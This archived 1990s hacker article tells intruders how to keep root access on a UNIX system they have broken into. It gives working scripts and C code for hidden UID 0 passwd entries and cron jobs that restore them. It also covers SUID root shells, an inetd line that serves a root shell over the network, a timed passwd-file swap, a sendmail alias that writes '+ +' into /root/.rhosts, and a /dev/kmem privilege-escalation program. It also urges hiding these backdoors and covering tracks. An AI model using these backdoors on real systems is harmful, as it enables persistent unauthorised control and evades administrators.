home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / security12.txt < prev    next >
Encoding:
Text File  |  1999-11-04  |  19.0 KB  |  622 lines

  1. Ok..... You've been at it for all night. Trying all the exploits you can
  2. think of. The system seems tight. The system looks tight. The system *is*
  3. tight. You've tried everything. Default passwds, guessable passwds, NIS
  4. weaknesses, NFS holes, incorrect permissions, race conditions, SUID
  5. exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#"
  6. ???? Finally! After seeming endless toiling, you've managed to steal root.
  7. Now what? How do you hold onto this precious super-user privilege you have
  8. worked so hard to achieve....?
  9.  
  10. This article is intended to show you how to hold onto root once you have
  11. it. It is intended for hackers and administrators alike. From a hacking
  12. perspective, it is obvious what good this paper will do you. Admin's can
  13. likewise benefit from this paper. Ever wonder how that pesky hacker always
  14. manages to pop up, even when you think you've completely eradicated him
  15. from your system?
  16. This list is BY NO MEANS comprehensive. There are as many ways to leave
  17. backdoors into a UNIX computer as there are ways into one.
  18.  
  19. ---------------------------------------------------------------------------
  20.  
  21. Beforehand
  22.  
  23. Know the location of critical system files. This should be obvious (If you
  24. can't list any of the top of your head, stop reading now, get a book on
  25. UNIX, read it, then come back to me...). Familiarity with passwd file
  26. formats (including general 7 field format, system specific naming
  27. conventions, shadowing mechanisms, etc...). Know vi. Many systems will not
  28. have those robust, user-friendly editors such as Pico and Emacs. Vi is also
  29. quite useful for needing to quickly seach and edit a large file. If you are
  30. connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
  31. have a robust terminal program that has a nice, FAT scrollback buffer. This
  32. will come in handy if you want to cut and paste code, rc files, shell
  33. scripts, etc...
  34.  
  35. The permenance of these backdoors will depend completely on the technical
  36. saavy of the administrator. The experienced and skilled administrator will
  37. be wise to many (if not all) of these backdoors. But, if you have managed
  38. to steal root, it is likely the admin isn't as skilled (or up to date on
  39. bug reports) as she should be, and many of these doors may be in place for
  40. some time to come. One major thing to be aware of, is the fact that if you
  41. can cover you tracks during the initial break-in, no one will be looking
  42. for back doors.
  43.  
  44. ---------------------------------------------------------------------------
  45.  
  46. The Overt
  47.  
  48. [1] Add a UID 0 account to the passwd file. This is probably the most
  49. obvious and quickly discovered method of rentry. It flies a red flag to the
  50. admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO
  51. NOT simply prepend or append it. Anyone causally examining the passwd file
  52. will see this. So, why not stick it in the middle...
  53.  
  54. #!/bin/csh
  55.  
  56. # Inserts a UID 0 account into the middle of the passwd file.
  57.  
  58. # There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
  59.  
  60. # daemon9@netcom.com
  61.  
  62. set linecount = `wc -l /etc/passwd`
  63.  
  64. cd                                      # Do this at home.
  65.  
  66. cp /etc/passwd ./temppass               # Safety first.
  67.  
  68. echo passwd file has $linecount[1] lines.
  69.  
  70. @ linecount[1] /= 2
  71.  
  72. @ linecount[1] += 1                     # we only want 2 temp files
  73.  
  74. echo Creating two files, $linecount[1] lines each \(or approximately that\).
  75.  
  76. split -$linecount[1] ./temppass         # passwd string optional
  77.  
  78. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  79.  
  80. cat ./xab >> ./xaa
  81.  
  82. mv ./xaa /etc/passwd
  83.  
  84. chmod 644 /etc/passwd                   # or whatever it was beforehand
  85.  
  86. rm ./xa* ./temppass
  87.  
  88. echo Done...
  89.  
  90. NEVER, EVER, change the root password. The reasons are obvious.
  91.  
  92. [2] In a similar vein, enable a disabled account as UID 0, such as Sync.
  93. Or, perhaps, an account somwhere buried deep in the passwd file has been
  94. abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove
  95. the '*' from the second field).
  96.  
  97. [3] Leave an SUID root shell in /tmp.
  98.  
  99. #!/bin/sh
  100.  
  101. # Everyone's favorite...
  102.  
  103. cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
  104.  
  105. chmod 4755 /tmp/.evilnaughtyshell
  106.  
  107. Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp
  108. upon a reboot. Many systems have /tmp mounted to disallow SUID programs
  109. from executing. You can change all of these, but if the filesystem starts
  110. filling up, people may notice...but, hey, this *is* the overt section....).
  111. I will not detail the changes neccessary because they can be quite system
  112. specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
  113.  
  114. ---------------------------------------------------------------------------
  115.  
  116. The Veiled
  117.  
  118. [4] The super-server configuration file is not the first place a sysadmin
  119. will look, so why not put one there? First, some background info: The
  120. Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP
  121. ports and spawns the appropriate program (usally a server) when a
  122. connection request arrives. The format of the /etc/inetd.conf file is
  123. simple. Typical lines look like this:
  124.  
  125. (1)     (2)     (3)     (4)     (5)     (6)             (7)
  126.  
  127. ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
  128.  
  129. talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd
  130.  
  131. Field (1) is the daemon name that should appear in /etc/services. This
  132. tells inetd what to look for in /etc/services to determine which port it
  133. should associate the program name with. (2) tells inetd which type of
  134. socket connection the daemon will expect. TCP uses streams, and UDP uses
  135. datagrams. Field (3) is the protocol field which is either of the two
  136. transport protocols, TCP or UDP. Field (4) specifies whether or not the
  137. daemon is iterative or concurrent. A 'wait' flag indicates that the server
  138. will process a connection and make all subsequent connections wait.
  139. 'Nowait' means the server will accept a connection, spawn a child process
  140. to handle the connection, and then go back to sleep, waiting for further
  141. connections. Field (5) is the user (or more inportantly, the UID) that the
  142. daemon is run as. (6) is the program to run when a connection arrives, and
  143. (7) is the actual command (and optional arguments). If the program is
  144. trivial (usally requiring no user interaction) inetd may handle it
  145. internally. This is done with an 'internal' flag in fields (6) and (7).
  146. So, to install a handy backdoor, choose a service that is not used often,
  147. and replace the daemon that would normally handle it with something else. A
  148. program that creates an SUID root shell, a program that adds a root account
  149. for you in the /etc/passwd file, etc...
  150. For the insinuation-impaired, try this:
  151.  
  152. Open the /etc/inetd.conf in an available editor. Find the line that reads:
  153.  
  154.  
  155.  
  156.         daytime stream  tcp     nowait  root    internal
  157.  
  158. and change it to:
  159.  
  160.         daytime stream  tcp     nowait /bin/sh  sh -i.
  161.  
  162. You now need to restart /etc/inetd so it will reread the config file. It is
  163. up to you how you want to do this. You can kill and restart the process,
  164. (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL
  165. network connections (so it is a good idea to do this off peak hours).
  166.  
  167. [5] An option to compromising a well known service would be to install a
  168. new one, that runs a program of your choice. One simple solution is to set
  169. up a shell the runs similar to the above backdoor. You need to make sure
  170. the entry appears in /etc/services as well as in /etc/inetd.conf. The
  171. format of the /etc/services file is simple:
  172.  
  173. (1)       (2)/(3)          (4)
  174.  
  175. smtp      25/tcp           mail
  176.  
  177. Field (1) is the service, field (2) is the port number, (3) is the protocol
  178. type the service expects, and (4) is the common name associated with the
  179. service. For instance, add this line to /etc/services:
  180.  
  181.         evil    22/tcp          evil
  182.  
  183. and this line to /etc/inetd.conf:
  184.  
  185.         evil    stream  tcp     nowait  /bin/sh sh -i
  186.  
  187. Restart inetd as before.
  188.  
  189. Note: Potentially, these are a VERY powerful backdoors. They not only offer
  190. local rentry from any account on the system, they offer rentry from *any*
  191. account on *any* computer on the Internet.
  192.  
  193. [6] Cron-based trojan I. Cron is a wonderful system administration tool. It
  194. is also a wonderful tool for backdoors, since root's crontab will, well,
  195. run as root... Again, depending on the level of experience of the sysadmin
  196. (and the implementation), this backdoor may or may not last.
  197. /var/spool/cron/crontabs/root is where root's list for crontabs is usally
  198. located. Here, you have several options. I will list a only few, as
  199. cron-based backdoors are only limited by your imagination. Cron is the
  200. clock daemon. It is a tool for automatically executing commands at
  201. specified dates and times. Crontab is the command used to add, remove, or
  202. view your crontab entries. It is just as easy to manually edit the
  203. /var/spool/crontab/root file as it is to use crontab. A crontab entry has
  204. six fields:
  205.  
  206. (1)     (2)     (3)     (4)     (5)     (6)
  207.  
  208.  0       0       *       *       1       /usr/bin/updatedb
  209.  
  210. Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
  211. (1-31) month of the year (1-12), day of the week (0-6). Field (6) is the
  212. command (or shell script) to execute. The above shell script is executed on
  213. Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root.
  214. For example: You can have a cronjob that will run daily and look in the
  215. /etc/passwd file for the UID 0 account we previously added, and add him if
  216. he is missing, or do nothing otherwise (it may not be a bad idea to
  217. actually *insert* this shell code into an already installed crontab entry
  218. shell script, to further obfuscate your shady intentions). Add this line to
  219. /var/spool/crontab/root:
  220.  
  221.         0       0       *       *       *       /usr/bin/trojancode
  222.  
  223. This is the shell script:
  224.  
  225. #!/bin/csh
  226.  
  227. # Is our eviluser still on the system?  Let's make sure he is.
  228.  
  229. #daemon9@netcom.com
  230.  
  231. set evilflag = (`grep eviluser /etc/passwd`)
  232.  
  233. if($#evilflag == 0) then                        # Is he there?
  234.  
  235.  
  236.  
  237.         set linecount = `wc -l /etc/passwd`
  238.  
  239.         cd                                      # Do this at home.
  240.  
  241.         cp /etc/passwd ./temppass               # Safety first.
  242.  
  243.         @ linecount[1] /= 2
  244.  
  245.         @ linecount[1] += 1                     # we only want 2 temp files
  246.  
  247.         split -$linecount[1] ./temppass         # passwd string optional
  248.  
  249.         echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  250.  
  251.         cat ./xab >> ./xaa
  252.  
  253.         mv ./xaa /etc/passwd
  254.  
  255.         chmod 644 /etc/passwd                   # or whatever it was beforehand
  256.  
  257.         rm ./xa* ./temppass
  258.  
  259.         echo Done...
  260.  
  261. else
  262.  
  263. endif
  264.  
  265. [7] Cron-based trojan II. This one was brought to my attention by our very
  266. own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden
  267. somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we
  268. have but one entry, a root account with a passwd of your choosing. We run a
  269. cronjob that will, every morning at 2:30am (or every other morning), save a
  270. copy of the real /etc/passwd file, and install this trojan one as the real
  271. /etc/passwd file for one minute (synchronize swatches!). Any normal user or
  272. process trying to login or access the /etc/passwd file would get an error,
  273. but one minute later, everything would be ok. Add this line to root's
  274. crontab file:
  275.  
  276.         29      2       *       *       *       /bin/usr/sneakysneaky_passwd
  277.  
  278. make sure this exists:
  279.  
  280. #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
  281.  
  282. and this is the simple shell script:
  283.  
  284. #!/bin/csh
  285.  
  286. # Install trojan /etc/passwd file for one minute
  287.  
  288. #daemon9@netcom.com
  289.  
  290. cp /etc/passwd /etc/.temppass
  291.  
  292. cp /var/spool/mail/.sneaky /etc/passwd
  293.  
  294. sleep 60
  295.  
  296. mv /etc/.temppass /etc/passwd
  297.  
  298. [8] Compiled code trojan. Simple idea. Instead of a shell script, have some
  299. nice C code to obfuscate the effects. Here it is. Make sure it runs as
  300. root. Name it something innocous. Hide it well.
  301.  
  302. /* A little trojan to create an SUID root shell, if the proper argument is
  303.  
  304. given.  C code, rather than shell to hide obvious it's effects. */
  305.  
  306. /* daemon9@netcom.com */
  307.  
  308. #include
  309.  
  310. #define KEYWORD "industry3"
  311.  
  312. #define BUFFERSIZE 10
  313.  
  314. int main(argc, argv)
  315.  
  316. int argc;
  317.  
  318. char *argv[];{
  319.  
  320.         int i=0;
  321.  
  322.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  323.  
  324.                 if(!(strcmp(KEYWORD,argv[1]))){
  325.  
  326.  
  327.  
  328.                                 /* This is the trojan part. */
  329.  
  330.                         system("cp /bin/csh /bin/.swp121");
  331.  
  332.                         system("chown root /bin/.swp121");
  333.  
  334.                         system("chmod 4755 /bin/.swp121");
  335.  
  336.                 }
  337.  
  338.         }
  339.  
  340.                                 /* Put your possibly system specific trojan
  341.  
  342.                                    messages here */
  343.  
  344.                                 /* Let's look like we're doing something... */
  345.  
  346.         printf("Sychronizing bitmap image records.");
  347.  
  348.         /* system("ls -alR / >& /dev/null > /dev/null&"); */
  349.  
  350.         for(;i<10;i++){
  351.  
  352.                 fprintf(stderr,".");
  353.  
  354.                 sleep(1);
  355.  
  356.         }
  357.  
  358.         printf("\nDone.\n");
  359.  
  360.         return(0);
  361.  
  362. } /* End main */
  363.  
  364. [9] The sendmail aliases file. The sendmail aliases file allows for mail
  365. sent to a particular username to either expand to several users, or perhaps
  366. pipe the output to a program. Most well known of these is the uudecode
  367. alias trojan. Simply add the line:
  368.  
  369.  "decode: "|/usr/bin/uudecode"
  370.  
  371. to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts
  372. file with the full pathname embedded.
  373.  
  374. #! /bin/csh
  375.  
  376. # Create our .rhosts file.  Note this will output to stdout.
  377.  
  378. echo "+ +" > tmpfile
  379.  
  380. /usr/bin/uuencode tmpfile /root/.rhosts
  381.  
  382. Next telnet to the desired site, port 25. Simply fakemail to decode and use
  383. as the subject body, the uuencoded version of the .rhosts file. For a one
  384. liner (not faked, however) do this:
  385.  
  386. %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
  387.  
  388. You can be as creative as you wish in this case. You can setup an alias
  389. that, when mailed to, will run a program of your choosing. Many of the
  390. previous scripts and methods can be employed here.
  391.  
  392. ---------------------------------------------------------------------------
  393.  
  394. The Covert
  395.  
  396. [10] Trojan code in common programs. This is a rather sneaky method that is
  397. really only detectable by programs such tripwire. The idea is simple:
  398. insert trojan code in the source of a commonly used program. Some of most
  399. useful programs to us in this case are su, login and passwd because they
  400. already run SUID root, and need no permission modification. Below are some
  401. general examples of what you would want to do, after obtaining the correct
  402. sourcecode for the particular flavor of UNIX you are backdooring. (Note:
  403. This may not always be possible, as some UNIX vendors are not so generous
  404. with thier sourcecode.) Since the code is very lengthy and different for
  405. many flavors, I will just include basic psuedo-code:
  406.  
  407. get input;
  408.  
  409. if input is special hardcoded flag, spawn evil trojan;
  410.  
  411. else if input is valid, continue;
  412.  
  413. else quit with error;
  414.  
  415. ...
  416.  
  417. Not complex or difficult. Trojans of this nature can be done in less than
  418. 10 lines of additional code.
  419.  
  420. ---------------------------------------------------------------------------
  421.  
  422. The Esoteric
  423.  
  424. [11] /dev/kmem exploit. It represents the virtual of the system. Since the
  425. kernel keeps it's parameters in memory, it is possible to modify the memory
  426. of the machine to change the UID of your processes. To do so requires that
  427. /dev/kmem have read/write permission. The following steps are executed:
  428. Open the /dev/kmem device, seek to your page in memory, overwrite the UID
  429. of your current process, then spawn a csh, which will inherit this UID. The
  430. following program does just that.
  431.  
  432. /* If /kmem is is readable and writable, this program will change the user's
  433.  
  434. UID and GID to 0.  */
  435.  
  436. /* This code originally appeared in "UNIX security:  A practical tutorial"
  437.  
  438. with some modifications by daemon9@netcom.com */
  439.  
  440. #include
  441.  
  442. #include
  443.  
  444. #include
  445.  
  446. #include
  447.  
  448. #include
  449.  
  450. #include
  451.  
  452. #include
  453.  
  454. #define KEYWORD "nomenclature1"
  455.  
  456. struct user userpage;
  457.  
  458. long address(), userlocation;
  459.  
  460. int main(argc, argv, envp)
  461.  
  462. int argc;
  463.  
  464. char *argv[], *envp[];{
  465.  
  466.         int count, fd;
  467.  
  468.         long where, lseek();
  469.  
  470.  
  471.  
  472.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  473.  
  474.                 if(!(strcmp(KEYWORD,argv[1]))){
  475.  
  476.                         fd=(open("/dev/kmem",O_RDWR);
  477.  
  478.                         if(fd<0){
  479.  
  480.                                 printf("Cannot read or write to /dev/kmem\n");
  481.  
  482.                                 perror(argv);
  483.  
  484.                                 exit(10);
  485.  
  486.                         }
  487.  
  488.  
  489.  
  490.                         userlocation=address();
  491.  
  492.                         where=(lseek(fd,userlocation,0);
  493.  
  494.  
  495.  
  496.                         if(where!=userlocation){
  497.  
  498.                                 printf("Cannot seek to user page\n");
  499.  
  500.                                 perror(argv);
  501.  
  502.                                 exit(20);
  503.  
  504.                         }
  505.  
  506.                         count=read(fd,&userpage,sizeof(struct user));
  507.  
  508.  
  509.  
  510.                         if(count!=sizeof(struct user)){
  511.  
  512.                                 printf("Cannot read user page\n");
  513.  
  514.                                 perror(argv);
  515.  
  516.                                 exit(30);
  517.  
  518.                         }
  519.  
  520.                         printf("Current UID: %d\n",userpage.u_ruid);
  521.  
  522.                         printf("Current GID: %d\n",userpage.g_ruid);
  523.  
  524.  
  525.  
  526.                         userpage.u_ruid=0;
  527.  
  528.                         userpage.u_rgid=0;
  529.  
  530.  
  531.  
  532.                         where=lseek(fd,userlocation,0);
  533.  
  534.                         if(where!=userlocation){
  535.  
  536.                                 printf("Cannot seek to user page\n");
  537.  
  538.                                 perror(argv);
  539.  
  540.                                 exit(40);
  541.  
  542.                         }
  543.  
  544.  
  545.  
  546.                         write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
  547.  
  548.  
  549.  
  550.                         execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
  551.  
  552.                 }
  553.  
  554.         }
  555.  
  556. } /* End main */
  557.  
  558. #include
  559.  
  560. #include
  561.  
  562. #include
  563.  
  564. #define LNULL ((LDFILE *)0)
  565.  
  566. long address(){
  567.  
  568.  
  569.  
  570.         LDFILE *object;
  571.  
  572.         SYMENT symbol;
  573.  
  574.         long idx=0;
  575.  
  576.         object=ldopen("/unix",LNULL);
  577.  
  578.         if(!object){
  579.  
  580.                 fprintf(stderr,"Cannot open /unix.\n");
  581.  
  582.                 exit(50);
  583.  
  584.         }
  585.  
  586.         for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
  587.  
  588.                 if(!strcmp("_u",ldgetname(object,&symbol))){
  589.  
  590.                         fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
  591.  
  592.                         ldclose(object);
  593.  
  594.                         return(symbol.n_value);
  595.  
  596.                 }
  597.  
  598.         }
  599.  
  600.         fprintf(stderr,"Cannot read symbol table in /unix.\n");
  601.  
  602.         exit(60);
  603.  
  604. }
  605.  
  606. [12] Since the previous code requires /dev/kmem to be world accessable, and
  607. this is not likely a natural event, we need to take care of this. My advice
  608. is to write a shell script similar to the one in [7] that will change the
  609. permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and
  610. then restore the original permissions. You can add this source to the
  611. source in [7]:
  612.  
  613. chmod 666 /dev/kmem
  614.  
  615. sleep 300               # Nap for 5 minutes
  616.  
  617. chmod 600 /dev/kmem     # Or whatever it was before
  618.  
  619. ---------------------------------------------------------------------------
  620.  
  621.                      From The Infinity Concept Issue II
  622.